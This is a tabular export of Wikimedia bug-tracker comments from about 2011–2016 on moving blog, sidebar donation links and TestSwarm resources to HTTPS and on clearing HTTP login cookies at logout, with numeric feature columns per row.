158392,blog.wikimedia.org show mixed-content warning with https,Fixed as far as the theme images are concerned (i.e. only the logo),,,1323098837,,PHID-USER-z6nzrwuaij3spgyg23jt,False,,,PHID-TASK-kn6j4sqx3gvfvd3z4byp,task_subcomment,,True,c2,1,False,,,-91,True,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,7.0,0.0,0.0,0.0,20.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,7.0,7.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,3.6666666666666665,0.8666666666666667,Fixed as far as the theme images are concerned (i.e. only the logo)
158387,blog.wikimedia.org show mixed-content warning with https,"(In reply to comment #3)
> It is not alone the theme. Some posts contains images, which are load over
> http.

I understand, and while we can try to watch for them in new posts, I can't guarantee that we're going to go through ~600 blog posts just to change image links to protocol-relative URLs.",,,1322070964,,PHID-USER-z6nzrwuaij3spgyg23jt,False,,,PHID-TASK-kn6j4sqx3gvfvd3z4byp,task_subcomment,,True,c2,1,False,,,-92,True,0.0,0.0,0.0,0.0,2.0,4.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,7.0,0.0,4.0,20.0,0.0,7.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,4.0,2.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,19.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,4.0,2.0,0.0,0.0,0.0,0.0,2.0,11.0,0.0,2.0,0.0,9.0,20.0,2.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,3.4444444444444446,0.8148148148148148,"(In reply to comment #3)
QUOTE
QUOTE

I understand, and while we can try to watch for them in new posts, I can't guarantee that we're going to go through ~600 blog posts just to change image links to protocol-relative URLs."
158383,blog.wikimedia.org show mixed-content warning with https,"It is not alone the theme. Some posts contains images, which are load over http.",,,1322070764,,PHID-USER-a6jwrurphpx6yl4coupk,False,,,PHID-TASK-kn6j4sqx3gvfvd3z4byp,task_subcomment,,True,c2,1,False,,,-92,True,6.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,28.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,11.0,11.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,3.6666666666666665,0.9444444444444444,"It is not alone the theme. Some posts contains images, which are load over http."
158376,blog.wikimedia.org show mixed-content warning with https,"The blog's theme isn't yet hosted by us, but it will soon be (see bug 29113).

Reassigning to me since I'm currently the one maintaining the theme.",,,1322054011,,PHID-USER-z6nzrwuaij3spgyg23jt,False,,,PHID-TASK-kn6j4sqx3gvfvd3z4byp,task_subcomment,,True,c2,1,False,,,-92,True,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,8.0,6.0,11.0,8.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,6.0,3.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,8.0,6.0,8.0,3.0,3.0,8.0,0.0,0.0,0.0,0.0,6.0,0.0,3.0,0.0,11.0,8.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,3.388888888888889,0.9166666666666666,"The blog's theme isn't yet hosted by us, but it will soon be (see bug 29113).

Reassigning to me since I'm currently the one maintaining the theme."
158371,blog.wikimedia.org show mixed-content warning with https,"I think the blog config is somewhere in SVN (or it should be). A few patches should be trivial here, if so.",,,1322051398,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-kn6j4sqx3gvfvd3z4byp,task_subcomment,,True,c2,1,True,,,-92,True,4.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,11.0,7.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,11.0,11.0,4.0,4.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,7.0,7.0,4.0,0.0,0.0,0.0,7.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,3.185185185185185,0.8888888888888888,"I think the blog config is somewhere in SVN (or it should be). A few patches should be trivial here, if so."
34215,[Wikimedia Messages] Change all sitesupport-url to a https URL,"I am not sure, if protocol-relative url in the sidebar works, when it works, please change all sitesupport-url to protocol-relative urls, so https user get a https link. When not, we need another bug for that, which blocks this bug.

This needs also some on-wiki changes, because at least de.wp has a local message [[de:MediaWiki:Sitesupport-url]].

Thanks.

--------------------------
**Version**: unspecified
**Severity**: normal",Medium,50.0,1320487440,1343591808.0,PHID-USER-qaoxfiqu6bxhd5ehlwhc,False,,False,PHID-TASK-t7xyje5snhzrmrucfndq,task_description,resolved,True,c2,1,False,False,True,-95,True,1.5,0.0,0.0,0.0,1.0,6.5,0.5,1.0,0.0,0.5,0.5,0.0,0.0,0.0,0.0,1.0,0.0,3.5,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.5,0.0,0.5,0.0,0.0,0.0,0.5,1.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,12.5,1.5,0.5,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.5,7.0,2.5,0.0,6.5,0.0,0.0,0.0,0.0,0.5,0.5,0.0,0.0,1.5,5.0,2.0,0.0,0.0,0.0,1.5,0.0,1.5,1.5,0.0,0.0,0.0,1.0,3.0,3.5805515239477503,0.6948476052249637,"I am not sure, if protocol-relative url in the sidebar works, when it works, please change all sitesupport-url to protocol-relative urls, so https user get a https link. When not, we need another bug for that, which blocks this bug.

This needs also some on-wiki changes, because at least de.wp has a local message [[de:MediaWiki:Sitesupport-url]].

Thanks.

--------------------------
**Version**: unspecified
**Severity**: normal"
157678,[Wikimedia Messages] Change all sitesupport-url to a https URL,successfully merged,,,1343591808,,PHID-USER-qaoxfiqu6bxhd5ehlwhc,False,,,PHID-TASK-t7xyje5snhzrmrucfndq,task_subcomment,,True,c2,1,False,,,-57,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,50.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,1.0,successfully merged
157671,[Wikimedia Messages] Change all sitesupport-url to a https URL,See gerrit 16916,,,1343580105,,PHID-USER-qaoxfiqu6bxhd5ehlwhc,False,,,PHID-TASK-t7xyje5snhzrmrucfndq,task_subcomment,,True,c2,1,False,,,-57,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.666666666666667,1.0,See gerrit 16916
157662,[Wikimedia Messages] Change all sitesupport-url to a https URL,In my opinion this needs fixing in the i18n file to get it also to new wikis.,,,1343397852,,PHID-USER-qaoxfiqu6bxhd5ehlwhc,False,,,PHID-TASK-t7xyje5snhzrmrucfndq,task_subcomment,,True,c2,1,False,,,-57,True,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,22.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,11.0,22.0,11.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,3.388888888888889,0.9444444444444444,In my opinion this needs fixing in the i18n file to get it also to new wikis.
157655,[Wikimedia Messages] Change all sitesupport-url to a https URL,"This has been fixed at some point on local messages (which do indeed exist on each and every wiki), is anything else needed?",,,1343209076,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-t7xyje5snhzrmrucfndq,task_subcomment,,True,c2,1,True,,,-57,True,11.0,4.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,11.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,4.0,0.0,4.0,19.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,11.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,3.7777777777777777,0.9629629629629629,"This has been fixed at some point on local messages (which do indeed exist on each and every wiki), is anything else needed?"
157648,[Wikimedia Messages] Change all sitesupport-url to a https URL,"(In reply to comment #8)
> Partially. You would not catch local versions of the sidebar.
> I am afraid that most wikis have ones, so the changes for those must happen on
> each wiki individually.

Yes, that needs also onwiki changes, but changing the translation on translatewiki.net will be a begin.",,,1341760651,,PHID-USER-qaoxfiqu6bxhd5ehlwhc,False,,,PHID-TASK-t7xyje5snhzrmrucfndq,task_subcomment,,True,c2,1,False,,,-60,True,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,9.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,12.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,3.0,15.0,0.0,3.0,6.0,0.0,0.0,0.0,3.0,6.0,0.0,3.0,0.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,3.0,0.0,0.0,3.0,3.878787878787879,0.8484848484848485,"(In reply to comment #8)
QUOTE
QUOTE
QUOTE

Yes, that needs also onwiki changes, but changing the translation on translatewiki.net will be a begin."
157641,[Wikimedia Messages] Change all sitesupport-url to a https URL,"Partially. You would not catch local versions of the sidebar.
I am afraid that most wikis have ones, so the changes for those must happen on each wiki individually.",,,1341750646,,PHID-USER-pkzunphfdvlecngun3iz,False,,,PHID-TASK-t7xyje5snhzrmrucfndq,task_subcomment,,True,c2,1,False,,,-60,True,3.0,0.0,0.0,0.0,3.0,9.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,9.0,15.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,6.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,12.0,3.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,6.0,3.0,9.0,6.0,0.0,12.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,15.0,3.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,4.029411764705882,0.9117647058823529,"Partially. You would not catch local versions of the sidebar.
I am afraid that most wikis have ones, so the changes for those must happen on each wiki individually."
157634,[Wikimedia Messages] Change all sitesupport-url to a https URL,It is possible to do the change on translatewiki with a global replace? Thanks.,,,1341693128,,PHID-USER-qaoxfiqu6bxhd5ehlwhc,False,,,PHID-TASK-t7xyje5snhzrmrucfndq,task_subcomment,,True,c2,1,False,,,-60,True,0.0,0.0,0.0,0.0,0.0,12.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,6.0,12.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,19.0,0.0,6.0,0.0,0.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,4.125,1.0,It is possible to do the change on translatewiki with a global replace? Thanks.
157628,[Wikimedia Messages] Change all sitesupport-url to a https URL,"(In reply to comment #4)
> Does a {{scheme}} pseudo constant fix this class of issues?
You mean a magic word that returns 'http' or 'https' depending on which protocol the current user is using? No, that deliberately doesn't exist because it would break the parser cache.",,,1322653872,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-t7xyje5snhzrmrucfndq,task_subcomment,,True,c2,1,False,,,-91,True,0.0,0.0,0.0,0.0,2.0,4.0,0.0,2.0,0.0,0.0,2.0,10.0,0.0,0.0,0.0,0.0,0.0,4.0,8.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,8.0,2.0,2.0,4.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,14.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,6.0,2.0,8.0,2.0,2.0,8.0,0.0,0.0,0.0,2.0,6.0,2.0,2.0,0.0,4.0,8.0,4.0,2.0,8.0,0.0,4.0,0.0,6.0,2.0,0.0,4.0,0.0,0.0,0.0,3.62,0.88,"(In reply to comment #4)
QUOTE
You mean a magic word that returns 'http' or 'https' depending on which protocol the current user is using? No, that deliberately doesn't exist because it would break the parser cache."
157619,[Wikimedia Messages] Change all sitesupport-url to a https URL,"https sounds better than protocol relative, changing summary",,,1322393051,,PHID-USER-qaoxfiqu6bxhd5ehlwhc,False,,,PHID-TASK-t7xyje5snhzrmrucfndq,task_subcomment,,True,c2,1,False,,,-92,True,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,11.0,0.0,0.0,5.888888888888889,1.0,"https sounds better than protocol relative, changing summary"
157612,[Wikimedia Messages] Change all sitesupport-url to a https URL,Does a {{scheme}} pseudo constant fix this class of issues?,,,1322299652,,PHID-USER-pkzunphfdvlecngun3iz,False,,,PHID-TASK-t7xyje5snhzrmrucfndq,task_subcomment,,True,c2,1,False,,,-92,True,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,3.3333333333333335,0.8666666666666667,Does a {{scheme}} pseudo constant fix this class of issues?
157600,[Wikimedia Messages] Change all sitesupport-url to a https URL,"If anything, sitesupport-url should probably just be an https link, because it links to the donation interface.",,,1322131030,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-t7xyje5snhzrmrucfndq,task_subcomment,,True,c2,1,False,,,-92,True,0.0,5.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,14.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,9.0,5.0,5.0,9.0,0.0,9.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,14.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,4.318181818181818,0.9545454545454546,"If anything, sitesupport-url should probably just be an https link, because it links to the donation interface."
157588,[Wikimedia Messages] Change all sitesupport-url to a https URL,"I do dare to change URLs in the form [ http://some.wikimedia.org desc ], but the URL in MediaWiki:Sitesupport-url can also be used in raw contexts, and changing it would break things.

So I think we can't actually do this, because we cannot be certain that the URLs in this message are *only* used in the correct scenarios, or can we?

If my assumptions are correct, this would be a ""wontfix""; input appreciated.",,,1322120860,,PHID-USER-w5a723w3wes6jd5wskgg,False,,,PHID-TASK-t7xyje5snhzrmrucfndq,task_subcomment,,True,c2,1,False,,,-92,True,0.0,0.0,0.0,1.0,2.0,4.0,3.0,1.0,0.0,1.0,5.0,1.0,0.0,1.0,0.0,6.0,0.0,6.0,10.0,0.0,1.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,3.0,2.0,0.0,4.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,2.0,0.0,0.0,0.0,14.0,2.0,1.0,0.0,1.0,0.0,0.0,1.0,0.0,1.0,0.0,1.0,3.0,0.0,1.0,0.0,0.0,0.0,5.0,5.0,11.0,3.0,3.0,9.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,8.0,10.0,2.0,1.0,2.0,0.0,8.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,3.4516129032258065,0.6666666666666666,"I do dare to change URLs in the form [ URL desc ], but the URL in MediaWiki:Sitesupport-url can also be used in raw contexts, and changing it would break things.

So I think we can't actually do this, because we cannot be certain that the URLs in this message are *only* used in the correct scenarios, or can we?

If my assumptions are correct, this would be a ""wontfix""; input appreciated."
157581,[Wikimedia Messages] Change all sitesupport-url to a https URL,"**hartman.wiki** wrote:

We need something to scan all these messages for local changes, and then someone to do the dirty work of changing them. Who's got the bot skills ? :D",,,1321196068,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-t7xyje5snhzrmrucfndq,task_subcomment,,True,c2,1,False,,,-94,True,2.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,10.0,5.0,5.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,2.0,10.0,0.0,2.0,0.0,0.0,5.0,0.0,2.0,0.0,5.0,10.0,2.0,2.0,0.0,0.0,5.0,0.0,2.0,0.0,2.0,2.0,0.0,0.0,0.0,3.625,0.875,"**hartman.wiki** wrote:

We need something to scan all these messages for local changes, and then someone to do the dirty work of changing them. Who's got the bot skills ? :D"
34214,[TestSwarm] Accessing TestSwarm via HTTPS shouldn't load resources over HTTP,"When you go to https://toolserver.org/~krinkle/testswarm/ and start the tests only two scripts are loaded via https: jquery.js and run.js. All other scripts (line http://toolserver.org/~krinkle/testswarm-tmp-checkouts/r101990/resources/jquery/jquery.js) are loaded via http. This should change to https, too.

--------------------------
**Version**: unspecified
**Severity**: normal",Medium,50.0,1320485040,1324549372.0,PHID-USER-tyjmn7xcw6s2b6rqagj7,False,,False,PHID-TASK-33c4jhyfmrntmnqffwtu,task_description,resolved,True,c2,1,False,False,True,-95,True,2.0,0.0,0.0,3.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,5.0,7.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,16.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,3.0,12.0,2.0,3.0,5.0,0.0,0.0,0.0,0.0,3.0,0.0,2.0,0.0,2.0,7.0,5.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,3.810344827586207,0.6551724137931034,"When you go to URL and start the tests only two scripts are loaded via https: jquery.js and run.js. All other scripts (line URL are loaded via http. This should change to https, too.

--------------------------
**Version**: unspecified
**Severity**: normal"
157534,[TestSwarm] Accessing TestSwarm via HTTPS shouldn't load resources over HTTP,"We have migrated Krinkle testswarm installation to a fresh new install on a Wikimedia Foundation server. I believe the issue you reported is now fixed.

You should be able to confirm that using:
https://integration.mediawiki.org/testswarm/

Please reopen this bug if this is still an issue with the new server.",,,1324549372,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-33c4jhyfmrntmnqffwtu,task_subcomment,,True,c2,1,True,,,-88,True,0.0,0.0,0.0,2.0,0.0,7.0,4.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,11.0,0.0,2.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,2.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,2.0,0.0,0.0,0.0,15.0,4.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,9.0,5.0,15.0,4.0,0.0,13.0,0.0,0.0,0.0,0.0,5.0,2.0,0.0,0.0,7.0,11.0,5.0,0.0,0.0,0.0,7.0,0.0,0.0,5.0,0.0,2.0,0.0,0.0,0.0,4.090909090909091,0.8,"We have migrated Krinkle testswarm installation to a fresh new install on a Wikimedia Foundation server. I believe the issue you reported is now fixed.

You should be able to confirm that using:
URL

Please reopen this bug if this is still an issue with the new server."
34144,"When user is logging out via HTTPS, insecure HTTP cookies keeping logged in state should be cleared as well","Or if the user was logged in via http and is logging out via https, the logged-in state in http will be kept.

--------------------------
**Version**: wmf-deployment
**Severity**: normal",Medium,50.0,1320243600,1464731397.0,PHID-USER-zjzhrhmn36icnzbckqy4,False,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,PHID-TASK-wdr6tz6n4nui3nx27m6j,task_description,resolved,True,c2,1,False,False,False,-95,True,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,2.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,6.0,6.0,2.0,4.0,4.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,15.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,3.4468085106382977,0.6595744680851063,"Or if the user was logged in via http and is logging out via https, the logged-in state in http will be kept.

--------------------------
**Version**: wmf-deployment
**Severity**: normal"
671897,"When user is logging out via HTTPS, insecure HTTP cookies keeping logged in state should be cleared as well","Assuming this is no longer an issue, since login via HTTP is impossible.",,,1464731397,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-wdr6tz6n4nui3nx27m6j,task_subcomment,,True,c2,3,True,,,143,True,0.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,13.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,13.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,7.0,13.0,13.0,7.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,7.0,0.0,0.0,4.0,0.9333333333333333,"Assuming this is no longer an issue, since login via HTTP is impossible."
